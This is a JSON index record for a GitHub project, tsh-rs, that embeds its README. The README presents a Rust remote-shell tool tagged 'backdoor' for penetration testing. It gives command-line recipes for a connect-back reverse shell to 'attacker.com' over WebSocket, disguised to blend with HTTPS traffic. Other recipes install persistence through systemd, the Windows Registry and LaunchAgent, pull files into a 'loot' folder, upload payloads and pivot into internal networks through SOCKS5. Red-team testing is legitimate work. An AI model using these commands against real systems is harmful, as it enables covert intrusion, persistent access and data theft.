{"id":38032170,"url":"https://github.com/7a6163/tsh-rs","last_synced_at":"2026-04-08T18:10:42.765Z","repository":{"id":306525487,"uuid":"1026483631","full_name":"7a6163/tsh-rs","owner":"7a6163","description":"A Rust implementation of Tiny Shell (tsh) - a remote shell access tool for secure command execution and file transfers.","archived":false,"fork":false,"pushed_at":"2026-04-07T08:56:46.000Z","size":159,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-07T10:23:23.957Z","etag":null,"topics":["backdoor","cybersecurity","rust","security"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/7a6163.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-07-26T01:37:06.000Z","updated_at":"2026-04-07T08:56:52.000Z","dependencies_parsed_at":"2025-07-26T08:25:52.065Z","dependency_job_id":"bfba6b33-7882-4670-ac2a-652ca3757cd3","html_url":"https://github.com/7a6163/tsh-rs","commit_stats":null,"previous_names":["7a6163/tsh-rs"],"tags_count":5,"template":false,"template_full_name":null,"purl":"pkg:github/7a6163/tsh-rs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7a6163%2Ftsh-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7a6163%2Ftsh-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7a6163%2Ftsh-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7a6163%2Ftsh-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/7a6163","download_url":"https://codeload.github.com/7a6163/tsh-rs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7a6163%2Ftsh-rs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31567553,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-08T14:31:17.711Z","status":"ssl_error","status_checked_at":"2026-04-08T14:31:17.202Z","response_time":54,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","cybersecurity","rust","security"],"created_at":"2026-01-16T19:46:15.982Z","updated_at":"2026-04-08T18:10:42.743Z","avatar_url":"https://github.com/7a6163.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# tsh-rs\n\n[![CI](https://github.com/7a6163/tsh-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/7a6163/tsh-rs/actions/workflows/ci.yml)\n[![Tests](https://github.com/7a6163/tsh-rs/actions/workflows/test.yml/badge.svg)](https://github.com/7a6163/tsh-rs/actions/workflows/test.yml)\n\nA Rust implementation of Tiny Shell (tsh) -- a secure remote shell tool for penetration testing, with encrypted communication, cross-platform persistence, and network pivoting.\n\n## Table of Contents\n\n- [Quick Start](#quick-start)\n- [Features](#features)\n- [Architecture](#architecture)\n- [Usage](#usage)\n- [Command Line Reference](#command-line-reference)\n- [Cross-Platform Support](#cross-platform-support)\n- [Building](#building)\n- [Development](#development)\n- [Changelog](#changelog)\n- [License](#license)\n\n## Quick Start\n\n```bash\n# Build\ncargo build --release\n\n# Terminal 1: start server (agent)\n./target/release/tsh server --psk mysecret --port 4444\n\n# Terminal 2: connect client (operator)\n./target/release/tsh client --psk mysecret 127.0.0.1:4444\n# You now have an interactive shell\n```\n\n## Features\n\n- **Encrypted Communication** -- [Noise Protocol](#security) (ChaCha20-Poly1305, X25519, BLAKE2s)\n- **Cross-platform** -- Linux, Windows, macOS (single unified binary)\n- **Operation Modes** -- Interactive shell, file transfer (get/put), command execution, system info collection, SOCKS5 proxy\n- **Connection Modes** -- Direct connect, connect-back (reverse shell), WebSocket transport\n- **Evasion** -- Jitter on connect-back delay (±25%, automatic), C2 over WebSocket to blend with HTTPS traffic\n- **Persistence** -- Autostart on reboot via LaunchAgent (macOS), systemd (Linux), Registry (Windows)\n- **Async I/O** -- Built on Tokio for high-performance concurrent connections\n\n## Architecture\n\n### Core Modules\n\n| Module | Purpose |\n|--------|---------|\n| `noise.rs` | Noise Protocol encryption layer over any async stream |\n| `pty.rs` | Cross-platform pseudo-terminal abstraction |\n| `client.rs` | Client operations (shell, file transfer, commands) |\n| `server.rs` | Server handlers for all operation modes |\n| `socks5.rs` | RFC 1928 SOCKS5 proxy, one Noise session per connection |\n| `sysinfo.rs` | Agent reconnaissance (hostname, OS, arch, user, privileges) |\n| `persistence.rs` | Cross-platform autostart (LaunchAgent / systemd / Registry) |\n| `c2_https.rs` | WebSocket transport adapter (WsByteStream wraps WS as AsyncRead/AsyncWrite) |\n| `terminal.rs` | Line editing, command history, cursor navigation |\n\n### Security\n\nProtocol: `Noise_XX_25519_ChaChaPoly_BLAKE2s` with PSK challenge-response.\n\n1. **Key Exchange** -- X25519 elliptic curve Diffie-Hellman (perfect forward secrecy)\n2. **Handshake** -- Noise XX pattern with mutual authentication\n3. **Encryption** -- ChaCha20-Poly1305 AEAD (confidentiality + integrity)\n4. **Hashing** -- BLAKE2s\n5. **PSK Auth** -- HMAC-SHA256 challenge-response over encrypted channel (constant-time comparison)\n6. **Message Framing** -- `[4-byte BE length][encrypted payload + 16-byte Poly1305 tag]`\n\n### Transport Layers\n\n| Transport | Flag | Traffic Appearance |\n|-----------|------|--------------------|\n| Raw TCP | (default) | Encrypted binary on custom port |\n| WebSocket | `--transport https` | Standard HTTP upgrade + WS frames |\n\nBoth transports run the same Noise Protocol underneath. The `NoiseLayer` accepts any `AsyncRead + AsyncWrite` stream.\n\n## Usage\n\n### Server Mode (Agent)\n\n```bash\n# Listen for connections\n./tsh server --psk SECRET --port 4444\n\n# Connect-back mode (reverse shell, jitter applied automatically)\n./tsh server --psk SECRET --connect-back 10.0.0.1 --port 4444 --delay 20\n\n# Connect-back over WebSocket\n./tsh server --psk SECRET --connect-back attacker.com --port 443 --transport https\n\n# Install persistence + start agent\n./tsh server --psk SECRET --connect-back 10.0.0.1 --port 4444 --install\n\n# Remove persistence\n./tsh server --uninstall\n```\n\n### Client Mode (Operator)\n\n```bash\n# Interactive shell\n./tsh client --psk SECRET 10.0.0.5:4444\n\n# Wait for connect-back agent\n./tsh client --psk SECRET cb --port 4444\n\n# Query agent system info\n./tsh client --psk SECRET 10.0.0.5:4444 sysinfo\n\n# Execute a command\n./tsh client --psk SECRET 10.0.0.5:4444 \"whoami \u0026\u0026 id\"\n\n# Download file\n./tsh client --psk SECRET 10.0.0.5:4444 get:data/secrets.db:./loot/\n\n# Upload file\n./tsh client --psk SECRET 10.0.0.5:4444 put:./payload.sh:uploads\n\n# Start SOCKS5 proxy (default 127.0.0.1:1080)\n./tsh client --psk SECRET 10.0.0.5:4444 socks5\n\n# SOCKS5 on custom bind address\n./tsh client --psk SECRET 10.0.0.5:4444 socks5:0.0.0.0:9050\n```\n\n### Operational Scenarios\n\n**Deploy persistent agent with WebSocket C2:**\n\n```bash\n# On target (one-time): install persistence, agent auto-starts on reboot\n./tsh server --psk OPS_KEY --connect-back attacker.com --port 443 --transport https --install\n\n# On attacker: wait for agent connection over WebSocket\n./tsh client --psk OPS_KEY cb --port 443 --transport https\n# Agent connects, sysinfo displayed automatically, then interactive shell\n```\n\n**Pivot into internal network via SOCKS5:**\n\n```bash\n# Connect to agent on compromised DMZ host\n./tsh client --psk OPS_KEY 10.0.0.5:4444 socks5\n\n# Use any tool through the proxy\ncurl --proxy socks5://127.0.0.1:1080 http://192.168.1.100/admin\nproxychains nmap -sT 192.168.1.0/24\n```\n\n## Command Line Reference\n\n### Server (`tsh server`)\n\n| Flag | Description | Default |\n|------|-------------|---------|\n| `--psk \u003cPSK\u003e` | Pre-shared key for authentication | required* |\n| `-p, --port \u003cPORT\u003e` | Port number | 1234 |\n| `-c, --connect-back \u003cHOST\u003e` | Connect back to client host | -- |\n| `-d, --delay \u003cSECONDS\u003e` | Connect-back delay (jitter ±25% applied automatically) | 5 |\n| `-t, --transport \u003cTYPE\u003e` | Transport: `tcp` or `https` (WebSocket) | tcp |\n| `--install` | Install persistence (autostart on reboot) | -- |\n| `--uninstall` | Remove persistence | -- |\n| `--config \u003cPATH\u003e` | Load settings from config file | -- |\n\n*Not required with `--config` or `--uninstall`.\n\n### Client (`tsh client`)\n\n| Flag | Description | Default |\n|------|-------------|---------|\n| `--psk \u003cPSK\u003e` | Pre-shared key for authentication | required |\n| `-p, --port \u003cPORT\u003e` | Port number | 1234 |\n| `-t, --transport \u003cTYPE\u003e` | Transport: `tcp` or `https` (WebSocket) | tcp |\n| `\u003cHOST\u003e` | Target hostname or `cb` for connect-back mode | required |\n| `[ACTION]` | See actions below | interactive shell |\n\n**Actions:**\n\n| Action | Example | Description |\n|--------|---------|-------------|\n| (none) | | Interactive shell |\n| `sysinfo` | `sysinfo` | Query agent system info |\n| `get:remote:local` | `get:data/file.db:./loot/` | Download file |\n| `put:local:remote` | `put:./tool.sh:uploads` | Upload file |\n| `socks5` | `socks5` or `socks5:0.0.0.0:9050` | Start SOCKS5 proxy |\n| `cmd:command` | `cmd:whoami` | Execute command |\n| any string | `\"ls -la\"` | Execute as shell command |\n\n## Cross-Platform Support\n\n| Platform | Architecture | Build | Persistence |\n|----------|-------------|-------|-------------|\n| Linux | x86_64 | ✅ | ✅ systemd user service |\n| Linux | ARM64 | ✅ | ✅ systemd user service |\n| Windows | x86_64 | ✅ | ✅ Registry Run key |\n| macOS | x86_64 | ✅ | ✅ LaunchAgent |\n| macOS | ARM64 | ✅ | ✅ LaunchAgent |\n| FreeBSD | x86_64 | ✅ | -- |\n| OpenBSD | x86_64 | ✅ | -- |\n\n## Building\n\n### Prerequisites\n\n```bash\ncurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\nmake install-targets  # optional: cross-compilation targets\n```\n\n### Build Commands\n\n```bash\nmake dev              # Development build\nmake linux            # Linux x64 release\nmake macos            # macOS x64 + ARM64 release\nmake windows          # Windows x64 release\nmake clean            # Clean build artifacts\n```\n\nRelease builds use LTO, symbol stripping, `panic=abort`, and `opt-level=3` for minimal binary size with no debug symbols.\n\nSee `make help` for all available commands.\n\n## Development\n\n```bash\nmake test             # Run tests\nmake fmt              # Format code\nmake clippy           # Run linter\n```\n\n## Changelog\n\nSee [CHANGELOG.md](CHANGELOG.md) for detailed version history and release notes.\n\n## License\n\nMIT License - see [LICENSE](LICENSE) for details.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F7a6163%2Ftsh-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F7a6163%2Ftsh-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F7a6163%2Ftsh-rs/lists"}